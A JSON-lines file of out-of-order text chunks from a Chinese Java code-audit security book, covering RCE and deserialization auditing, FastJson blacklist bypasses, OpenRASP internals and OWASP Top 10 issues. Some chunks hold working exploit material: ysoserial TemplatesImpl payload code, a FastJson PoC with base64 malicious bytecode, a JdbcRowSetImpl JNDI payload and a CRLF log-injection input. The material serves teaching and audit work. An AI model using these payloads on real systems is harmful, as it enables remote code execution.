    {"text": "熟悉 Java 的读者肯定会想到 Java 中一个非常重 要的机制，就是反射机制。 通过反射我们可以使 Java 实现一种动态语言的效果，即 可以在运行期通过传递参数的形式调用或者实例化任何类，以及调用类或者实例对 象中的任何方法和属性。"},
    {"text": "图 8-70 搜索后锁定的两个可疑的类 Reflections 类中有两种方法：invoke 方法和 getPerperty 方法，代码如图 8-71 所 示，其底层都是调用了 method.invoke 方法来反射执行指定类的指定方法。"},
    {"text": "经过搜索发现并没 有任何代码调用了 Reflections 类的 invoke 或者 getPerperty 方法，但是有代码调用了 Reflections 类的 contains 方法、containsAny 方法以及 getPropertyList 方法。 回到 Reflections 类中查看，发现以上 3 个方法都调用了 getPerperty 方法，也就是说同样存 在 RCE 风险，所以这些点都需要一一分析和排查。"},
    {"text": "图 8-71 查看 invoke 方法和 getPerperty 方法 总而言之，进行 RCE 漏洞审计时，首先查看程序中是否了引用包含有已知 RCE 漏洞的第三方库，如果没有，则需要着重审计项目中有无可造成命令执行的函数和 类，如 Runtime、ProcessBuilder 等。"},
    {"text": "其次就是反射需要重点关注 method.invoke 方法， 以及前文中没有提及的反序列化漏洞。 挖掘反序列化漏洞时，除了查看有没有引用 含有已知反序列化的第三方库以外，还要注意项目本身有无调用反序列化的点，如 JDK 自带的反序列化方法 readObject。 本项目中的反序列化行为是通过调用了 Jackson 这个第三方库来进行的，同样需要注意 JDK 自带的反序列化方法 readObject。"},
    {"text": "在该模式下，IAST 应用可将正常的业务流量改 造成安全测试的流量，接着利用这些安全流量对被测业务发起安全测试，并根据返 回的数据包判断漏洞信息。"},
    {"text": "442 第 9 章 小话 IAST 与 RASP 表 9-1 IAST、DAST、SAST 概念对比表 概念 概念解释 备注 交互式应用程序安全测试（Interactive Application Security Testing）通过代理、 VPN 或者在服务端部署 Agent 程序，收集、监控 Web 应用程序运行时函数 可理解为“灰盒测 IAST 执行、数据传输信息，并与扫描器端进行实时交互，高效、准确地识别安全 试” 缺陷及漏洞，同时可准确确定漏洞所在的代码文件、行数、函数及参数。 IAST 是 DAST 和 SAST 结合的一种互相关联的运行时安全检测技术 动态应用程序安全测试（Dynamic Application Security Testing）技术在测试或 可理解为“黑盒测 DAST 运行阶段分析应用程序的动态运行状态。 它模拟黑客行为对应用程序进行动 试” 态攻击，分析应用程序的反应，从而确定该 Web 应用是否易受攻击 静态应用程序安全测试（Static Application Security Testing）技术通常在编码 可理解为“白盒测 SAST 阶段分析应用程序的源代码或二进制文件的语法、结构、过程、接口等，以 试” 发现程序代码存在的安全漏洞 图 9-1 代理模式 IAST 插桩模式 IAST 如图 9-2 所示。"},
    {"text": "1．到 OpenRASP 的 GitHub 页面下载被编译好的 Java Agent 我下载的版本为 1.3.2，如图 9-4 所示。 图 9-4 OpenRASP 的 Java Agent1.3.2 版下载页面 9.3 单机版 OpenRASP Agent 实验探究 445 2．为 Tomcat 容器安装 OpenRASP 的 Java Agent 对步骤 1 下载的 rasp-Java.zip 进行解压，随后进入解压后的目录，执行以下命令。 Java -jar RaspInstall.jar -install <tomcat_root> 执行结果如图 9-5 所示。 图 9-5 通过自动化安装方法为 Tomcat 安装 OpenRASP 的 Java Agent 注意：为了确保 OpenRASP 的 Agent 正常工作，须为所使用的 Tomcat 容器配置 “CATALINA_HOME”环境变量，如图 9-6 所示。 图 9-6 配置环境变量 CATALINA_HOME 3．启动 Tomcat 容器 进入 Tomcat 的 bin 目录，并执行以下命令。"},
    {"text": "9.3 单机版 OpenRASP Agent 实验探究 447 我下载的是版本为 1.1.14 的 vulns.war，如图 9-9 所示。 图 9-9 openrasp-testcases1.1.14 下载页面 在下载后，将 vulns.war 放置于启动后的 Tomcat 的 webapps 的目录下。"},
    {"text": "图 9-10 openrasp-testcases 的测试用例 选择测试用例“009 - Transformer 反序列化”进行测试，单击该测试用例页的链 448 第 9 章 小话 IAST 与 RASP 接，如图 9-11 所示。 图 9-11 使用 openrasp-testcases 的“009 - Transformer 反序列化”测试用例 查看 Tomcat 下的文件“/rasp/logs/alarm/alarm.log”的内容，可以发现一条反序 列化漏洞攻击的告警日志，且日志信息较为丰富，如图 9-12 所示。 图 9-12 /rasp/logs/alarm/alarm.log 里的告警信息 这说明，OpenRASP 检测到了这次反序列化漏洞的攻击。"},
    {"text": "9.4 OpenRASP Java Agent 原理浅析 我认为，可将 RASP 技术粗略地理解为“在不接触应用源码的情况下，动态地 9.4 OpenRASP Java Agent 原理浅析 449 对方法进行 Hook 操作，并赋予应用程序自保护的能力”。"},
    {"text": "表 9-2 OpenRASP 的关键功能与位置对照表 关键功能 关键位置 agent\\Java\\boot\\src\\main\\Java\\com\\baidu\\openrasp\\Agent.Java#premain Agent 初始化 agent\\Java\\engine\\src\\main\\Java\\com\\baidu\\openrasp\\EngineBoot.Java#start agent\\Java\\engine\\src\\main\\Java\\com\\baidu\\openrasp\\EngineBoot.Java#initTransformer Hook 关键方法 agent\\Java\\engine\\src\\main\\Java\\com\\baidu\\openrasp\\plugin\\checker\\CheckerManager.Java#init agent\\Java\\engine\\src\\main\\Java\\com\\baidu\\openrasp\\plugin\\checker\\CheckParameter.Java agent\\Java\\engine\\src\\main\\Java\\com\\baidu\\openrasp\\transformer\\CustomClassTransformer.Jav 修改字节码 a#transform 下面通过“反序列化漏洞”的检测案例介绍代码的执行流。"},
    {"text": "在 Agent 初始化方面， 代码使用 Instrument 机制的实现 Agent 类的 premain 方法，如图 9-13 所示。 图 9-13 Agent 初始化的关键代码 代码紧接着会进入 EngineBoot 类的 start 方法进行初始化， “initTransformer(inst);” 是对 Java 字节码进行修改的具体代码，如图 9-14 所示。"},
    {"text": "450 第 9 章 小话 IAST 与 RASP 图 9-14 修改字节码的关键代码——initTransformer 方法 initTransformer 方法体中包含 CustomClassTransformer 类的实例化对象，如图 9-15 所示。 图 9-15 修改字节码的关键代码——CustomClassTransformer 类 在“Hook 关键方法”方面，继续跟进 CustomClassTransformer 类中的 transformer 方法，如图 9-16 所示。 此处的 CustomClassTransformer 类实现了 JDK 的 ClassFileTransformer 接口，并 实现了接口的“编织字节码”的入口——transform 方法。"},
    {"text": "9.4 OpenRASP Java Agent 原理浅析 451 图 9-16 修改字节码的关键代码——transform 方法 代码“classfileBuffer = hook.transformClass(ctClass);”会调用每个 Hook 类的 hookMethod 方 法 。"},
    {"text": "图 9-17 编织攻击检测算法 checkDeserializationClass 由图 9-17 可知，Javassist 库在执行反序列的关键方法 resolveClass 之前编织了 DeserializationHook 的 checkDeserializationClass 方法作为攻击检测算法。"},
    {"text": "452 第 9 章 小话 IAST 与 RASP 图 9-18 JS 插件中包含反序列化漏洞的类名黑名单 由图 9-18 可知，该 JS 插件在反序列化之前对将要从序列化文件中恢复的类对象 的类名做黑名单校验，若命中规则，则可做告警或阻断。"},
    {"text": "扫描二维码 学习更多 IAST 与 RASP 精选文章 附 录 Java 安全编码规范索引 正如“Java 之父”詹姆斯·高斯林在《Java 编码指南：编写安全可靠程序的 75 条建议》书中的序言里说的，大多数漏洞来自于开发过程中的失误：编码太差或防 御不足。"},
    {"text": "我认为， 《Linux 系统安全 纵深防御、系统扫描与入侵检测》书中的附录 A 有着 不错的参考内容，它介绍了以下网站安全开发的基本原则：输入验证、输出编码、 身份验证与密码管理、会话管理、访问控制、加密规范、错误处理和日志、数据保 护、通信安全、系统配置、数据库安全、文件管理、内存管理、通用编码规范。"},
    {"text": "Unknown } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField(\"key\"); }catch(Exception e){ keyField = Class.forName(\"java.util.MapEntry\").getDeclaredField (\"key\"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } } 2．TemplatesImpl 类的利用 Ysoserial 反 序 列 化 利 用 工 具 中 的 CommonsCollections 4.0 利 用 链 是 针 对 CommonsCollection 4.0 版本的利用构造。"},
    {"text": "public static <T> T createTemplatesImpl ( final String command, Class< T> tplClass, Class<?> abstTranslet, Class<?> transFactory ) throws Exception { final T templates = tplClass.newInstance(); // 使用 Template 工具类 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); 5.8 不安全的反序列化 223 final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态 initializer 中运行命令 // 也可以注入一个 java 的 rev/ bind-shell 来绕过基本的保护 String cmd = \"java.lang.Runtime.getRuntime().exec(\\\"\" + command.replaceAll(\"\\\\\\\\\",\"\\\\\\\\\\\\\\\\\").replaceAll(\"\\\"\", \"\\\\\\\"\") + \"\\\");\"; clazz.makeClassInitializer().insertAfter(cmd); clazz.setName(\"ysoserial.Pwner\" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); // 将类字节注入实例 Reflections.setFieldValue(templates, \"_bytecodes\", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, \"_name\", \"Pwnr\"); Reflections.setFieldValue(templates, \"_tfactory\", transFactory. newInstance()); return templates; } 利用 TemplatesImpl 类的大概流程是创建一个 TemplatesImpl 对象，再使用 Javassist 动态编程创建一个恶意类。"},
    {"text": "由于这个恶意类是自定义的，因此可以通过该类 执行任何想要执行的代码，比如 Runtime.getRuntime().exec(\"whoami\")。 一个类在初 始 化 时 会 自 动 执 行 静 态 代 码 块 里 的 代 码 ， 因 此 可 以 将 Runtime.getRuntime(). exec(\"whoami\")写在恶意类的静态代码块中，在初始化的过程中自动执行。"},
    {"text": "恶意类会 被转化成一个 byte 数组，并传递给 TemplatesImpl 的_ bytecodes 属性。 在 TemplateImpl 类中，会循环遍历_bytecodes 数组来加载并初始化所保存的类， 关键语句为“_class[i] = loader.defineClass(_bytecodes[i]);”。 也就是说，TemplateImpl 类在满足特定条件的情况下会对传入的恶意类进行加载，而在加载的过程中会执行 静态代码块中的代码，造成任意代码执行。"},
    {"text": "private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { 224 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 public Object run() { return new TransletClassLoader(ObjectFactory. findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); // 检查这是否是 main 类 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { //异常处理(省略) } } //省略 } 如下是 CommonsCollections 4.0 的利用链，读者可以根据利用链进行 PoC 的构造 以及调试，分析 TemplateImpl 需要满足什么样的特定条件，才能对承载在_bytecodes 的恶意类进行加载。 Gadget chain: PriorityQueue.readObject() PriorityQueue.heapify() PriorityQueue.siftDown() PriorityQueue.siftDownUsingConparator() ChainedTransformer.transform() InstantiateTransformer.transform() (TrAXFilter)Constructor.newInstance() templatesImpl.newTranformer() 5.8 不安全的反序列化 225 Method.invoke() Runtime.exec() 5.8.6 FastJson 反序列化漏洞 与原生的 Java 反序列化的区别在于，FastJson 反序列化并未使用 readObject 方 法，而是由 FastJson 自定一套反序列化的过程。"},
    {"text": "通过在反序列化的过程中自动调用 类属性的 setter 方法和 getter 方法，将 JSON 字符串还原成对象，当这些自动调用的 方法中存在可利用的潜在危险代码时，漏洞便产生了。"},
    {"text": "1．FastJson 反序列化漏洞的演变历程 FastJson 反序列化漏洞的演变历程如图 5-163 所示。 1.2.24 1.2.42 1.2.47 1.2.41 1.2.45 1.2.68 首个漏洞 黑名单绕过 黑名单绕过 新利用链 AutoType 绕过 AutoType 绕过 图 5-163 FastJson 反序列化漏洞的演变历程 自从 2017 年爆出 FastJson 1.2.24 版本反序列化漏洞后，近几年安全人员在不断 寻找新的利用方式。 自 FastJson 1.2.25 版本开始，FastJson 关闭了默认开启的 AutoType，并且内置了一个黑名单，用于防止存在风险的类进行序列化。 由于 FastJson 1.2.41 版本和 1.2.42 版本对类名处理不当，导致黑名单机制被绕过，在修复该漏洞的 同时还将黑名单进行加密，增加了研究成本。 在 FastJson 1.2.45 版本中，研究人员发 现新的可利用的类，且不在黑名单中。 在 FastJson 1.2.47 版本中，研究人员发现通过 缓存机制，能够绕过 AutoType 的限制和黑名单机制。 在 2020 年，FastJson 1.2.68 版 本又被发现新的绕过 AutoType 的方式，也是通过缓存的方式绕过，但具体成因的代 码逻辑有些差异，利用难度也较先前版本更大。"},
    {"text": "当通过这 3 种方法将 JSON 还原成对象时，FastJson 自动调用类中的 setter 方法 和无参构造函数，以及满足条件的 getter 方法。 当类中定义的属性和方法满足下列要 求时，FastJson 会自动调用 getter 方法。"},
    {"text": "import com.alibaba.fastjson.JSON; import java.util.Properties; public class User { public String name; private int age; private Boolean sex ; private Properties properties; public User(){ System.out.println(\"无参构造函数调用\"); } public int getAge() { System.out.println(\"age 的 getter 方法调用\"); return this.age; } public void setAge(int age){ 5.8 不安全的反序列化 227 System.out.println(\"age 的 setter 方法调用\"); this.age = age; } public Properties getProperties(){ System.out.println(\"properties 的 getter 方法调用\"); return this.properties; } public void setName(String name) { System.out.println(\"name 的 setter 方法调用\"); this.name = name; } public String getName() { System.out.println(\"name 的 getter 方法调用\"); return name; } public void setSex(Boolean sex) { System.out.println(\"sex 的 setter 方法调用\"); this.sex = sex; } public Boolean getSex() { System.out.println(\"sex 的 getter 方法调用\"); return sex; } public static void main(String[] args) { String jsonStr = \"{\\\"@type\\\":\\\"User\\\",\\\"sex\\\":true,\\\"name\\\":\\\"Yu\\\", \\\"age\\\":18,\\\"properties\\\":{}}\"; Object obj = JSON.parse(jsonStr); } } PoC 的执行结果如图 5-164 所示。"},
    {"text": "图 5-164 PoC 的执行结果 parseObject（String text）方法将 JSON 串还原成对象后，会再调用一个 xxx 方法， 228 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 所以类中所有的 getter 方法都会被执行，如图 5-165 所示。"},
    {"text": "图 5-165 所有的 getter 方法都被执行 3．checkAutoType 安全机制 FastJson 1.2.25 版本中引入了 checkAutotype，其中增加了黑白名单的校验，用于 缓解反序列化漏洞的产生，并且将内置的黑白名单进行加密，增加了绕过黑白名单 的研究成本。"},
    {"text": "经过加密的部分白名单如图 5-166 所示。 图 5-166 经过加密的部分白名单 5.8 不安全的反序列化 229 经过加密的部分黑名单如图 5-167 所示。 图 5-167 经过加密的部分黑名单 通常，以下几种类型的类可以通过校验。"},
    {"text": "FastJson 优先从 mapping 中获取类，当成功获取时，其不会进行黑白名单的安全 检测，因此可以通过寻找将类加入缓存的方法，达到从逻辑层面上绕过 checkAutoType 230 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 检测的目的。"},
    {"text": "if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = this.deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { //省略 } else { return clazz; } } else { if (!this.autoTypeSupport) { for(i = 3; i < className.length(); ++i) { //省略 if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) { throw new JSONException(\"autoType is not support. \" + typeName); } if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) { //省略 return clazz; } } } FastJson 1.2.47 版本的绕过方式主要是利用 FastJson 默认开启缓存，会将某些满 足条件的类缓存至 mapping 中。"},
    {"text": "public static Class<?> loadClass(String className, ClassLoader classLoader) { //第三个参数就是 cache，默认为 true return loadClass(className, classLoader, true); } //当 cache 值为 true 时，加入 mapping 中 5.8 不安全的反序列化 231 public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) { //省略 if (classLoader != null) { clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } //省略 } FastJson 1.2.68 版本的绕过方式主要利用了指定期望类，并将某些满足条件的类 缓存至 mapping 中。"},
    {"text": "//第二个参数为期望类 exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, le xer.getFeatures()); //checkAutoType 方法如果传入期望类则会进行缓存 if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz; } } 4．FastJson 反序列化漏洞实例 （1）TemplatesImpl 类的利用。 1.2.24 版本的 FastJson 反序列化漏洞利用了 TemplatesImpl 类进行任意代码执行。"},
    {"text": "在介绍 Apache CC 反序列化时，曾介绍过 TemplatesImpl 中的_bytecodes 可以承载自 定义的恶意类字节码。 在 TemplatesImpl 实例化的过程中，会将_bytecodes 所承载的 字节码进行加载，从而造成任意代码执行。"},
    {"text": "FastJson 会自动调用符 合条件的 getter 方法和 setter 方法，所以反序列化过程中会调用 TemplatesImpl 的 getOutputProperties() 方 法 ， 此 时 则 会 进 入 实 例 化 TemplatesImpl 的 流 程 ， 通 过 _bytecodes 加载恶意类的流程与 Apcache Commons Collections 反序列化利用链相同。 public synchronized Properties getOutputProperties() { 232 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } } 如前所述，在 getter 方法的调用规则中，TemplatesImpl 中 getOutputProperties() 方法对应的属性是 getOutputProperties，但此处_getOutputProperties 多了一个下画线， 却仍可以调用，这是因为 FastJson 具有智能匹配的功能。"},
    {"text": "//smartMatch 方法中会去除下画线 for(i = 0; i < key.length(); ++i) { char ch = key.charAt(i); if (ch == '_') { snakeOrkebab = true; key2 = key.replaceAll(\"_\", \"\"); break; } _bytecodes 所承载的字节码需要进行 Base64 编码，在反序列化的过程中会对字 节类型的属性进行 Base64 解码。"},
    {"text": "因为_tfactory 需要一个对象，所以 PoC 中可写成\"'_tfactory':{ }形式，表明它是 一个对象，会调用_tfactory 的构造函数并实例化出一个对象。"},
    {"text": "ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap() public byte[] bytesValue() { return IOUtils.decodeBase64(this.text, this.np + 1, this.sp); } 根据解析流程的细节可以构造出如下 PoC。"},
    {"text": "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_byt ecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+A QADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRo aXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4 vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS 94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htb C9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQB AC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXR vcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3 I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6Z XIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50 ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWx 5.8 不安全的反序列化 233 pemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2 FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BA ARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJp bmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYww AMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbH RjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc 3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNq YXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKCl MamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbG FuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2A ARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAA AQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAA AAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAA IACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAAB AABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAA DAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name': 'xx','_tfactory':{ },\"_outputProperties\":{ }} 由于利用到的属性含有 Private 类型，因此该利用链的触发条件需要程序调用 ParseObject()方法，并传入 Feature.SupportNonPublicField 用于支持 Private 类型属性 的还原，如图 5-168 所示。"},
    {"text": "{ \"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"rmi://127.0.0.1:1999/Exploit\", \"autoCommit\": true } 234 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 根据 PoC 以及前面介绍的 setter 方法的调用规则，可调用 JdbcRowSetImpl 的 setDataSourceName()方法和 setAutoCommit()方法。"},
    {"text": "源码中对两个方法的实现如下， 其中 setAutoCommit()方法在判断 this.conn 不为空时会执行该类的 connect()方法。 public void setDataSourceName(String var1) throws SQLException { if (this.getDataSourceName() != null) { if (!this.getDataSourceName().equals(var1)) { super.setDataSourceName(var1); this.conn = null; this.ps = null; this.rs = null; } } else { super.setDataSourceName(var1); } } public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); } } 可以发现，connect()方法中调用了 lookup()方法，且参数来源于 DataSourceName 属性，这个参数可通过 setDataSourceName()方法进行控制。 private Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this. getDataSourceName()); //省略 } catch (NamingException var3) { //异常省略 } } else { //省略 } } 5.9 使用含有已知漏洞的组件 235 因此，此时可以利用 JNDI 注入的方式完成攻击，如图 5-169 所示。"},
    {"text": "图 5-169 利用 JNDI 注入的方式完成攻击 5.8.7 小结 本节介绍了反序列化的基本原理和利用条件，并简单介绍了 Apache Commons Collections 反序列漏洞和 FastJson 反序列化漏洞。"},
    {"text": "我们可通过在 CNVD 平台报送原创漏洞的 网页截图进行了解，如图 5-170 所示，漏洞厂商、影响对象类型、影响产品、影响产 品版本、漏洞类型等字段是必填项，我们可以将它们视为漏洞的关键信息。 图 5-170 CNVD 平台报送原创漏洞网页截图 我们可以借助图 5-171 所示的步骤判断某第三方组件是否受到已知漏洞的影响： 首先查看第三方组件的版本号，然后根据资料判断该版本是否受到已知漏洞的影响。"},
    {"text": "若确认该版本受到已知漏洞的影响，则进行漏洞处置（比如升级版本或进行安全配 置）。 若确认该版本不会受到已知漏洞的影响，则不进行漏洞处置。"},
    {"text": "面对这个问题，大型厂商会在其进行 5.9 使用含有已知漏洞的组件 237 代码扫描时支持对第三方组件的扫描与检测（漏洞库实时更新），有些安全厂商也在 其安全产品中采集第三方组件的信息，以期在事前找到风险点。"},
    {"text": "图 5-171 通过版本比对判断某第三方组件是否受到已知漏洞影响的流程图 5.9.2 Weblogic 中组件的漏洞 Weblogic 作为一款庞大的 Java 项目，不可避免地会将一些可复用的功能封装成 Jar 包或者引入一些第三方 Jar 包，如图 5-172 所示。"},
    {"text": "XMLDecoder 是 JDK 中用于解析 XML 的类，该类存在反序列化远程代码执行的 问题（CVE-2017-10271），凡是使用了 XMLDecoder 的程序，未事先做好输入的过滤 就会受到该漏洞的影响。"},
    {"text": "2020 年 1 月，Oracle Coherence 组件反序列化远程代码执行漏洞（CVE-2020- 238 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 2555）被曝光，其原理与 Apache Commons Collections 3.1 类似。"},
    {"text": "图 5-172 Weblogic 项目 5.9.3 富文本编辑器漏洞 在实际的项目开发中，可能会引入第三方编辑器插件，例如 UEditor、KindEditor 和 FCKeditor 等插件。"},
    {"text": "开发者在引入第三方插件时，大多数情况下并不会修改插件的 目录结构，所以目录结构相对固定，通过扫描器可以很容易地探测出使用的插件类 型与版本。"},
    {"text": "通过百度或者 Google 的搜索语法搜索插件固定的路径，比如 FCKeditor 插件的 路径为“FCKeditor/editor/fckeditor.html”，则可以找到使用该插件的网站，并且可以 使用插件进行文件上传等操作，如图 5-173 所示。"},
    {"text": "5.9 使用含有已知漏洞的组件 239 KindEditor 存在一个自带的 Demo 页面（路径为“kindeditor-4.1.11/jsp/demo.jsp”）， 用于演示 KindEditor 的基本功能。"},
    {"text": "后台对上传功能的具体处理在 upload_json.jsp 中， 对 upload_json.jsp 的功能代码进行审计，我们会发现上传功能对上传文件的后缀名采 用白名单的方式进行限制，如图 5-174 所示。"},
    {"text": "此时无法上传 JSP 文件进行代码执行， 但仍然可以上传 html 文件进行重定向、XSS 攻击等操作，如图 5-175 和图 5-176 所示。 图 5-173 使用 FCKeditor 的网站 图 5-174 upload_json.jsp 默认允许上传 htm、html、txt 等类型文件 240 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 图 5-175 通过文本编辑器上传 html 文件 图 5-176 访问所上传的 html 文件 为了防止直接被黑客利用，KindEditor 已经在 4.1.12 版本中对“asp”“asp.net” “jsp”“php”等目录的 file_manager_json.*以及 upload_json.*文件做了拓展名更改处 理（分别改成了 upload_json.*.txt 和 file_manager_json.*.txt），如图 5-177 所示。"},
    {"text": "5.10 不足的日志记录和监控 241 图 5-177 KindEditor 在 4.1.12 版本中做了安全更新 5.9.4 小结 本节介绍了 Weblogic 的几个由组件引发的漏洞，以及引入第三方编辑器可能出 现的隐患。"},
    {"text": "然而，搜索的媒介不 仅限于此，毕竟有些漏洞可能未被应用于申请漏洞编号，因此“GitHub 的 issue”与 谷歌、百度、搜狗、微信搜索亦可成为检索的媒介。"},
    {"text": "5.10 不足的日志记录和监控 5.10.1 不足的日志记录和监控漏洞简介 不足的日志记录和监控，以及事件响应缺失或无效的集成，这类漏洞使攻击者 242 第 5 章 “OWASP Top 10 2017”漏洞的代码审计 能够进一步攻击系统、保持持续性或转向更多系统，以及篡改、提取或销毁数据。"},
    {"text": "5.10.2 CRLF 注入漏洞 CRLF 的缩写是指回车和换行操作，其中 CR 为 ASCII 中的第 13 个字符，也 写作 \\r , LF 是 ASCII 中的第 10 个字符，也写作 \\n ，因此 CRLF 一般翻译为回 车换行注入漏洞。"},
    {"text": "<%@ page contentType=\"text/html;charset=UTF-8\" language=\"Java\" %> <%@ page import=\"Java.util.logging.Logger\" %> <%@ page import=\"Java.util.logging.Level\" %> <html> <head> <title>日志注入</title> </head> <body> <% String val=request.getParameter(\"val\"); Logger log = Logger.getLogger(\"log\"); log.setLevel(Level.INFO); try{ int value = Integer.parseInt(val); System.out.print(value); }catch(Exception e){ log.info(\"Filed to parse val = \" + val); } %> </body> </html> 如果用户为“val”提交字符串“twenty-one”（数字 21 的英文），则日志会记录 以下条目： INFO:Failed to parse val=twenty-one 然 而 ， 如 果 攻 击 者 提 交 字 符 串 “ twenty-one%0a%0aINFO:+User+logged+out% 5.10 不足的日志记录和监控 243 3dbadguy”（“%0a”是“换行符”的 URL 编码，“%3d”是“=”的 URL 编码），则 日志中就会记录以下条目。"},
    {"text": "（1）Web 应用服务器须对安全事件及操作事件进行日志记录。 （2）Web 应用须保证日志记录完整。 （3）Web 应用须限定用户对日志的访问权限。 （4）Web 应用须对日志模块所占用的资源进行限制。 （5）Web 应用须保证日志文件不与操作系统存储于同一个分区。 （6）Web 应用须保证只有在调试模式下才能输出调试日志。"},
    {"text": "第 6 章 “OWASP Top 10 2017”之外常见 漏洞的代码审计 OWASP TOP 10 总结了 Web 应用程序中常见且极其危险的十大漏洞，在第 5 章 中我们以 2017 版本为例详细介绍了这 10 项漏洞在代码审计中的审计知识，但除了 OWASP Top 10 外，还有很多漏洞值得我们在代码审计中给予关注。"},
